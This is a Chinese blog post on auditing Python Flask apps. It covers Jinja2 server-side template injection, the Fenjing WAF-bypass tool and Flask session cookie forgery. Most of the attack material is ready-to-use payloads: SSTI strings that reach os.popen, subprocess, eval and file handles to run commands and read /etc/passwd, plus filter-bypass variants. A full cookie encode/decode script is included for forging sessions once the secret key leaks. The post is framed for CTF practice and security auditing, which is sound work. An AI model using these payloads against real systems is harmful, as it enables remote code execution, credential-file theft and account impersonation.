当前位置: 首页 > news >正文

代码审计-Python Flask

1.Jinjia2模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。在jinja2中,存在三种语法

表达式 {{ ... }}  
用于装载字符串、变量、函数调用等
语句 {% ... %}  
用于装载控制语句,比如if判断、for循环等
注释 {# ... #}  
用于装载一个注释,模板渲染的时候会被忽略掉

模版注入本质上是通过数组字符串类获取到Object类,然后再从Object身上获取Object的其他子类,其中有的子类可以执行命令

2.获取基类:

一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3.获取子类列表:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4.寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

5.注入样例
[WesternCTF2018]shrine(Jinja2模板注入)
https://www.cnblogs.com/dghh/p/18311335

6.焚靖工具

pip install fenjing
python -m fenjing webui

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。
其支持自动扫描目标网站中的form元素进行攻击,也支持手动指定payload提交方式让其自动分析并产生payload。
它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。
输入命令行后直接到网页界面操作
在这里插入图片描述
7.cookie伪造
flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得,有key以后就是可以通过flask-session-cookie-manager-master来伪造session:

import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

伪造举例:
https://blog.csdn.net/a3320315/article/details/104272833

相关文章:

代码审计-Python Flask

1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug &#xff0c;模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统&#xff0c;起初是仿django模板的一个模板引擎&#xff0c;为Flask提供模板支持&#xff0c;由于…...

深度学习:开启人工智能的新纪元

深度学习&#xff1a;开启人工智能的新纪元 深度学习是机器学习的一个子领域&#xff0c;它基于人工神经网络的学习算法&#xff0c;特别是那些具有多个非线性变换的层&#xff08;即“深度”&#xff09;。这些算法模仿人脑处理信息的方式&#xff0c;通过学习数据的多层次表…...

第十四章_File类与IO流

目录 1. java.io.File类的使用 1.1 概述 1.2 构造器 1.3 常用方法 1、获取文件和目录基本信息 2、列出目录的下一级 3、File类的重命名功能 4、判断功能的方法 5、创建、删除功能 1.4 练习 2. IO流原理及流的分类 2.1 Java IO原理 2.2 流的分类 2.3 流的API 3. …...

Qml-CheckBox的使用

Qml-CheckBox的使用 CheckBox属性 CheckBox的继承关系&#xff1a; CheckBox – AbstractButton – Control – Item; CheckBox的属性主要继承于AbstractButton。属性checkState&#xff1a;勾选状态&#xff0c;值为&#xff1a;Qt.Unchecked、Qt.Checked、Qt.PartiallyChec…...

Java的RocketMQ使用

在 Spring Boot 中&#xff0c;RocketMQ 和 Kafka 都是常用的消息中间件&#xff0c;它们的使用方法有一些相似之处&#xff0c;也有各自的特点。 一、RocketMQ 在 Spring Boot 中的使用 引入依赖 在项目的pom.xml文件中添加 RocketMQ 的依赖。 <dependency><groupId…...

中间件之MQ-Kafka

一、引言 Apache Kafka是一个分布式消息队列系统&#xff0c;最初由LinkedIn开发&#xff0c;并于2011年开源。Kafka以其高吞吐量、低延迟和容错能力而著名&#xff0c;广泛应用于日志收集、实时流处理、事件驱动架构等领域。本文将详细介绍Kafka的基本概念、特点、应用场景以…...

[DB] NSM

Database Workloads&#xff08;数据库工作负载&#xff09; 数据库工作负载指的是数据库在执行不同类型任务时所需的资源和计算方式&#xff0c;主要包括以下几种类型&#xff1a; 1. On-Line Transaction Processing (OLTP) 中文&#xff1a;联机事务处理解释&#xff1a;…...

Redis 高可用:从主从到集群的全面解析

目录 一、主从复制 (基础)1. 同步复制a. 全量数据同步b. 增量数据同步c. 可能带来的数据不一致 2. 环形缓冲区a. 动态调整槽位 3. runid4. 主从复制解决单点故障a. 单点故障b. 可用性问题 5. 注意事项a. Replica 主动向 Master 建立连接b. Replica 主动向 Master 拉取数据 二、…...

全能型选手视频播放器VLC 3.0.21 for Windows 64 bits支持Windows、Mac OS等供大家学习参考

全能型选手视频播放器&#xff0c;支持Windows、Mac OS、Linux、Android、iOS等系统&#xff0c;也支持播放几乎所有主流视频格式。 推荐指数&#xff1a; ★★★★★ 优点&#xff1a; ◆、界面干净简洁&#xff0c;播放流畅 ◆、支持打开绝大多数的文件格式&#xff0c;包…...

解决在Vue3中使用monaco-editor创建多个实例的导致页面卡死的问题

最近在项目中使用到了monaco-editor来实现相关的业务功能&#xff0c;按照官方使用方法进行了相关操作&#xff0c;但是在使用的时候&#xff0c;总是会导致创建多个编辑器实例&#xff0c;导致页面卡死的情况&#xff0c;下面来看看怎么处理这种情况吧&#xff0c;先说一下我使…...

【某农业大学计算机网络实验报告】实验二 交换机的自学习算法

实验目的&#xff1a; &#xff08;1&#xff09;理解交换机通过逆向自学习算法建立地址转发表的过程。 &#xff08;2&#xff09;理解交换机转发数据帧的规则。 &#xff08;3&#xff09;理解交换机的工作原理。 实验器材&#xff1a; 一台Windows操作系统的PC机。 实…...

燕山大学23级经济管理学院 10.18 C语言作业

燕山大学23级经济管理学院 10.18 C语言作业 文章目录 燕山大学23级经济管理学院 10.18 C语言作业1C语言的基本数据类型主要包括以下几种&#xff1a;为什么设计数据类型&#xff1f;数据类型与知识体系的对应使用数据类型时需要考虑的因素 21. 逻辑运算符2. 真值表3. 硬件实现4…...

【880线代】线性代数一刷错题整理

第一章 行列式 2024.8.20日 1. 2. 3. 第二章 矩阵 2024.8.23日 1. 2024.8.26日 1. 2. 3. 4. 5. 2024.8.28日 1. 2. 3. 4. 第四章 线性方程组 2024.9.13日 1. 2. 3. 4. 5. 2024.9.14日 1. 第五章 相似矩阵 2024.9.14日 1. 2024.9.15日 1. 2. 3. 4. 5. 6. 7. 2024.9.…...

【C++语言】精妙的哈希算法:原理、实现与优化

解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 哈希算法是计算机科学中的一项基本技术,广泛应用于数据检索、加密、缓存等领域。本文将深入探讨C++中的哈希算法,详细讲解其原理、实现、优化以及在不同应用场景中的使用。通过丰富的代码示例和数学推导,本文旨…...

基于STM32的手势电视机遥控器设计

引言 本项目设计了一个基于STM32的手势电视机遥控器&#xff0c;利用红外线传输和加速度传感器&#xff08;或陀螺仪&#xff09;检测用户的手势动作&#xff0c;用于控制电视的音量、频道切换等操作。通过对手势的实时检测和分类&#xff0c;系统能够识别左右、上下、旋转等手…...

2、图像的特征

一、角点检测-Harris 1、cv2.cornerHarris角点检测函数 在 cv2.cornerHarris 函数中&#xff0c;Sobel 算子用于计算图像的梯度&#xff0c;这是 Harris 角点检测的第一步。 cv2.cornerHarris(src, blockSize, ksize, k, dstNone, borderTypeNone)下面是各个参数的详细解释&…...

URL、URN和URI的区别

目录 一&#xff1a;URI二&#xff1a;URN三&#xff1a;URL1. URL格式 一&#xff1a;URI URI 是&#xff08;Uniform Resource Identifier&#xff09;统一资源标识符的缩写。用于唯一标识互联网上的资源。URI包含了URN和URL 二&#xff1a;URN URN是&#xff08;Uniform …...

深入理解Spring框架几个重要扩展接口

本文介绍Spring框架的几个日常开发重要扩展接口&#xff0c;方便日常项目中按需扩展使用。 一、Processor 系列接口 用途&#xff1a; Processor 系列接口包括 BeanPostProcessor 和 BeanFactoryPostProcessor&#xff0c;它们的设计目的是在 Spring 容器启动过程中对 Bean 和…...

使用dotnet-counters和dotnet-dump 分析.NET Core 项目内存占用问题

在.NET Core 项目部署后&#xff0c;我们往往会遇到内存占用越来越高的问题&#xff0c;但是由于项目部署在Linux上&#xff0c;因此无法使用VS的远程调试工具来排查内存占用问题。那么这篇文章我们大家一起来学习一下如何排查内存占用问题。 首先&#xff0c;我们来看一下应用…...

1282:最大子矩阵

题目&#xff1a; 已知矩阵的大小定义为矩阵中所有元素的和。给定一个矩阵&#xff0c;你的任务是找到最大的非空(大小至少是1 1)子矩阵。 比如&#xff0c;如下4 4的矩阵 0 -2 -7 0 9 2 -6 2 -4 1 -4 1 -1 8 0 -2 的最大子矩阵是 9 2 -4 1 -1 8 这个子矩阵的大小是15。 …...

C++编程语言:抽象机制:特殊运算符(Bjarne Stroustrup)

第19章 特殊运算符(Special Operators) 目录 19.1 引言 19.2 特殊运算符(Special Operators) 19.2.1 下标运算符(Subscripting) 19.2.2 函数调用运算符(Function Call) 19.2.3 解引用(Dereferencing) 19.2.4 递增和递减(Increment and Decrement) 19…...

图片无损放大工具Topaz Gigapixel AI v7.4.4 绿色版

Topaz A.I. Gigapixel是这款功能齐全的图象无损变大运用&#xff0c;应用可将智能机拍摄的图象也可以有着专业相机的高质量大尺寸作用。你可以完美地放大你的小照片并大规模打印&#xff0c;它根本不会粘贴。它具有清晰的效果和完美的品质。 借助AIGigapixel&#xff0c;您可以…...

Vue中计算属性computed—(详解计算属性vs方法Methods,包括案例+代码)

文章目录 计算属性computed3.1 概述3.2 使用3.3 计算属性vs方法Methods3.4 计算属性的完整写法 计算属性computed 3.1 概述 基于现有的数据&#xff0c;计算出来的新属性。 依赖的数据变化&#xff0c;自动重新计算 语法&#xff1a; 声明在 computed 配置项中&#xff0c;…...

Python程序设计 内置函数 日志模块

logging(日志) 日志记录是程序员工具箱中非常有用的工具。它可以帮助您更好地理解程序的流程&#xff0c;并发现您在开发过程中可能没有想到的场景。 日志为开发人员提供了额外的一组眼睛&#xff0c;这些眼睛不断关注应用程序正在经历的流程。它们可以存储信息&#xff0c;例…...

中标麒麟v5安装qt512.12开发软件

注意 需要联网操作 遇到问题1&#xff1a;yum提示没有可用软件包问题 终端执行如下命令 CentOS7将yum源更换为国内源保姆级教程 中标麒麟V7-yum源的更换&#xff08;阿里云源&#xff09; wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Cento…...

每日算法一练:剑指offer——数组篇(3)

1.报数 实现一个十进制数字报数程序&#xff0c;请按照数字从小到大的顺序返回一个整数数列&#xff0c;该数列从数字 1 开始&#xff0c;到最大的正整数 cnt 位数字结束。 示例 1: 输入&#xff1a;cnt 2 输出&#xff1a;[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1…...

Java代码说明设计模式

以下是使用 Java 代码分别说明设计模式中的工厂模式、抽象工厂模式&#xff08;这里推测你可能想说的是抽象工厂模式而非虚拟工厂模式&#xff09;、建造者模式和观察者模式。 一、工厂模式 工厂模式是一种创建对象的设计模式&#xff0c;它提供了一种创建对象的方式&#xf…...

Golang笔记_day06

一、GMP 调度器 1、调度器理解思路 理解golang的调度器要从进程到协程演进来说明&#xff1a; 进程--->线程--->协程---> golang的协程&#xff08;goroutine&#xff09; 从上图可以看出&#xff0c;进程到多线程到协程&#xff0c;最终目的就是为了提高CPU的利用率…...

「从零开始的 Vue 3 系列」:第十一章——跨域问题解决方案全解析

前言 本系列将从零开始&#xff0c;系统性地介绍 Vue 3 的常用 API&#xff0c;逐步深入每个核心概念与功能模块。通过详尽的讲解与实战演示&#xff0c;帮助大家掌握 Vue 3 的基础与进阶知识&#xff0c;最终具备独立搭建完整 Vue 3 项目的能力。 第十一章&#xff1a;跨域问…...

C语言结构体数组 java静动数组及问题

1. &#xff08;1&#xff09;先声明&#xff0c;后定义&#xff1a;如上一天 //&#xff08;2&#xff09;.声明时直接定义 #define N 5 typedef struct student { int num; int score; }STU; int main(void) { STU class3[N] { {10,90},{14,70},{8,95} }; …...